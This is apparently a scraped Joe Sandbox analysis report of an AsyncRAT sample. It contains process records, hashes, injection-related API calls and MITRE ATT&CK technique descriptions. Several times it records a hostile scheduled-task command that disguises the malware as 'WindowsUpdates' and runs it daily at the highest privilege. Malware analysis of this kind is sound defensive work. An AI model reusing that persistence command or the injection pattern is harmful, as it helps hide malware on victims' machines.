Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:21 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:25 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	11:37:08
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	75.8%
Total number of Nodes:	33
Total number of Limit Nodes:	0

Executed Functions

Function 02795CB8 Relevance: .9, Instructions: 925COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02760e43a74798f8937b76e1e2d25ba2e1e8444155bfae6c9b122f921260a624
Instruction ID: df70ef09d953d49ae3f985e8f5d28b44c4bae44bfdf30ad5a3a9c1a1b838898f
Opcode Fuzzy Hash: 02760e43a74798f8937b76e1e2d25ba2e1e8444155bfae6c9b122f921260a624
Instruction Fuzzy Hash: 0DA2E274E012289FDB64DF68D894BEDBBB6BF89300F1481EAD409A7290DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02794720 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18443ced7ec41f7d2797c5dea5bfb033ee076e26604d516eb243eed5beaef60e
Instruction ID: d560944e7656970fdf863cc6685995f8fe5775bca3faff5793ba84feb8c2794c
Opcode Fuzzy Hash: 18443ced7ec41f7d2797c5dea5bfb033ee076e26604d516eb243eed5beaef60e
Instruction Fuzzy Hash: C4F11A74E003198FDF58DFA8D890BADBBF6AF88310F1481A9D909A7395DA349E41CF51

Uniqueness

Uniqueness Score: -1.00%

Function 027975EC Relevance: 3.6, APIs: 2, Instructions: 586
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 027975AE
ResumeThread.KERNEL32(?), ref: 02797A62

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: AllocResumeThreadVirtual
String ID:
API String ID: 234695336-0
Opcode ID: 2f3dfed73d7c0a5fce185151440a03b5f03f8e8d9905e40807fc40fadfbcf2b9
Instruction ID: 3ca258c92d8f0c9a8b24aa0107ddcabaa7d7a63f39aa87ee84a269befb048a49
Opcode Fuzzy Hash: 2f3dfed73d7c0a5fce185151440a03b5f03f8e8d9905e40807fc40fadfbcf2b9
Instruction Fuzzy Hash: 3331EBB2C043888FDB21DFA9D8443DEFFF0EF45324F15849AC098AB291DA345949CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02796DF7 Relevance: 1.8, APIs: 1, Instructions: 265
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0279708A

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 994bb2d4441b283e3775e74e7e4924cac467dc43c511a47568f8e971fd834823
Instruction ID: f1c9d5b414fea34bf2255cc96c98523cf06bb17bfd1450d570623159cab55ca4
Opcode Fuzzy Hash: 994bb2d4441b283e3775e74e7e4924cac467dc43c511a47568f8e971fd834823
Instruction Fuzzy Hash: 31A15A71E00319CFEF24CFA8D841BEDBBB6BB48314F108569E808A7294DB759985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02796E00 Relevance: 1.8, APIs: 1, Instructions: 264
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0279708A

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7166469966c692bf0e053d96435d00e92c1876ad42d7a2570765b61983c3857a
Instruction ID: fb1766c0dbca5cfb2783c14abf5e56a433575f91fd1db8a179f60c47bfedef5f
Opcode Fuzzy Hash: 7166469966c692bf0e053d96435d00e92c1876ad42d7a2570765b61983c3857a
Instruction Fuzzy Hash: B4A15A71E00319CFEF24CFA8D841BEDBBB6BB48314F108569E808A7294DB759985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02797539 Relevance: 1.6, APIs: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 027975AE

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21721aea9458eea926d6066b1892ec47ac3278c64e25be320860197884d461b0
Instruction ID: d21126072d4ee02f8a5451cfeb8e1f30d1ba1aae4f820b3156a21387bd971b7e
Opcode Fuzzy Hash: 21721aea9458eea926d6066b1892ec47ac3278c64e25be320860197884d461b0
Instruction Fuzzy Hash: 3C315771D003098FDF24DFA9D845BEEFBF1AF88314F248419E559A7250CB399945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02797390 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 02797428

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7ce224a18d6ec8859ad26c5ff7b89761406678917bfe7fd46ea1917766a55f42
Instruction ID: 836106676c93c83c84795b41733e24feef1c89b73ee8e40e1d5fde6be180e30c
Opcode Fuzzy Hash: 7ce224a18d6ec8859ad26c5ff7b89761406678917bfe7fd46ea1917766a55f42
Instruction Fuzzy Hash: B22120B5D003499FDF10CFA9C981BEEBBB1BF48310F50842AE968A7240D7789941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02797398 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 02797428

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f9006412c147afac0749253ed3998cb8b839f9b9d2f934447d5992188c8271ad
Instruction ID: be44be3e5ad3a1988014ed333d9e0b1aa30917bdb19e1fa3c796aeb65f67f74b
Opcode Fuzzy Hash: f9006412c147afac0749253ed3998cb8b839f9b9d2f934447d5992188c8271ad
Instruction Fuzzy Hash: EB2130B1D003499FDF10CFAAC881BEEBBF5FB48310F50842AE918A7240D7789941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 027971E0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0279725E

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 592325227b95123fd78dfa5ce30ac2e5319a38b30da4d5c96b32cf6f88c5b5ad
Instruction ID: af060e7e5c53ee5ff2b3b82815650d3d9e46c98ee788b9ceeb4d20d0c5fb0621
Opcode Fuzzy Hash: 592325227b95123fd78dfa5ce30ac2e5319a38b30da4d5c96b32cf6f88c5b5ad
Instruction Fuzzy Hash: 4A2137B1D103098FDB14DFAAC485BAEBBF4EB48314F54842AE519A7240DB789945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 027971DB Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0279725E

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6e2d919a83df662467f5c72c9f1e19347287bf371be605080f0451d4ca45c369
Instruction ID: 253475f5beba6a497abcc3025692494a06e75a6d526d9f6c22e177807ab9f423
Opcode Fuzzy Hash: 6e2d919a83df662467f5c72c9f1e19347287bf371be605080f0451d4ca45c369
Instruction Fuzzy Hash: 132157B1D103098FDB14CFA9C5817EEBBF4AF48314F50842AE419A7240CB389945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02797540 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 027975AE

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 723534d4020428297beed3bcfbd258cd443a126b52e16131f4be8d6ac61efc7f
Instruction ID: 6da68d8c54f9e25f868652fe51b3213bfc3cdaca0841e91c81cccfacf5bcd5a2
Opcode Fuzzy Hash: 723534d4020428297beed3bcfbd258cd443a126b52e16131f4be8d6ac61efc7f
Instruction Fuzzy Hash: 17115371C003499FDB20DFAAC845BEEBBF5EB48320F148419E919A7250CB35A901CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02797A00 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 02797A62

Memory Dump Source

Source File: 00000000.00000002.1314539230.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2790000_EGSh5caf8a.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c7f73235ca4949367e62d76ccad1b066b552b31e57a983bffff805e7fae826f0
Instruction ID: 012ef6bd26a571b03a32870345222258d10a519d24575d788c6b90add26bb7f2
Opcode Fuzzy Hash: c7f73235ca4949367e62d76ccad1b066b552b31e57a983bffff805e7fae826f0
Instruction Fuzzy Hash: 401128B1D003498FDB24DFAAD8457AEFBF5EB48224F148419D519A7240CB75A941CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D428 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1313057276.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a4d000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee90df06094ab18ce4afafcf326496f3464791b471b8595804b9cd6b50ec099b
Instruction ID: 5aadfb329c110ce318ab0a6351013a8d866ec3294aecfffaa9fc18fcd0a25208
Opcode Fuzzy Hash: ee90df06094ab18ce4afafcf326496f3464791b471b8595804b9cd6b50ec099b
Instruction Fuzzy Hash: C121007A604240EFDB15DF10D9C0B26BB65FBD8324F20C5A9E9090A256C336E856CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1313057276.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a4d000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad84a76fe9696ef9e6f5c5c62cfe923debe4d7fc433aab856f8c9f11dd80b8e
Instruction ID: 0fb0f25015b989749baa093a92c98784d2fe4bc38b43516a5d23b09ed9330e86
Opcode Fuzzy Hash: 7ad84a76fe9696ef9e6f5c5c62cfe923debe4d7fc433aab856f8c9f11dd80b8e
Instruction Fuzzy Hash: 712103B9604240DFDB14DF14D9C0B26BF75FBD8328F24C569E8094F256C736D856CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D423 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1313057276.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a4d000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: fedf922baabcb1a71e8de1bb661955bb00d996a0a37ea94401966fa0337ceacd
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 5211D376504280DFCB16CF14D5C4B16BF72FB94324F24C5A9D8490B656C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1313057276.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a4d000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: ae7bb8c51d4f572fabc6481d265af3a3ed64159dd70bbe9e89af0de245c0e7e9
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 4811E676504280CFCB15CF14D5C4B16BF72FB94328F24C5ADD8494B656C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D795 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1313057276.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a4d000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36017136dd3f44b245acdcc08d805c8a3108f7bc5ee388d59be4ad69836feaef
Instruction ID: 6ddba5881f0cf5f77147a112f170560df764297de6838c8db6ea353ffed895ed
Opcode Fuzzy Hash: 36017136dd3f44b245acdcc08d805c8a3108f7bc5ee388d59be4ad69836feaef
Instruction Fuzzy Hash: 8001A2755083449AE7208B25DC84B66BBA8DF91725F18C45AED190B282C6799845CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D794 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1313057276.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a4d000_EGSh5caf8a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9d8dd20eea56b7402eecc2cb3398b1148cdbfd91705d073a3a07493b5f642b9
Instruction ID: 1df031fa5a71c84c923e92913f82efde0ce6b4d53c403d4a3de1fbb1183b0be6
Opcode Fuzzy Hash: e9d8dd20eea56b7402eecc2cb3398b1148cdbfd91705d073a3a07493b5f642b9
Instruction Fuzzy Hash: 5EF06D75404344AEEB208F1ADC88B62FF98EB91734F18C55EED085B286C379AC45CBB1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EGSh5caf8a.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EGSh5caf8a.exe.log

C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE

C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
EGSh5caf8a.exe